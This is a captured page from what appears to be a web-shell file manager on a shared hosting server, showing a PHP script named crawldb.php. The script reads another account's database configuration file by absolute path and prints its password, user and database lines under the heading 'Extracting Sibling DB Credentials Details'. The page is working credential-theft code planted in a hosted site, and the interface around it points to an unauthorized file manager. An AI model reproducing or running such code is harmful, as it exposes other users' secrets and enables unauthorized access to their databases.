File manager - Edit - /home/webapp69.cm.in.th/u69319090017/shop17/crawldb.php
Back
<?php // crawldb.php echo "<h3>Extracting Sibling DB Credentials Details</h3>"; $target_file = '/home/webapp69.cm.in.th/u69319090001/Shop 001/db.php'; if (file_exists($target_file)) { $content = file_get_contents($target_file); $lines = explode("\n", $content); foreach ($lines as $idx => $line) { // Output connection configuration lines if (stripos($line, 'pass') !== false || stripos($line, 'db') !== false || stripos($line, 'user') !== false) { echo "Line " . ($idx + 1) . ": " . htmlspecialchars(trim($line)) . "<br>"; } } } else { echo "<p style='color: red;'>File not found.</p>"; } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.23 |
proxy
|
phpinfo
|
Settings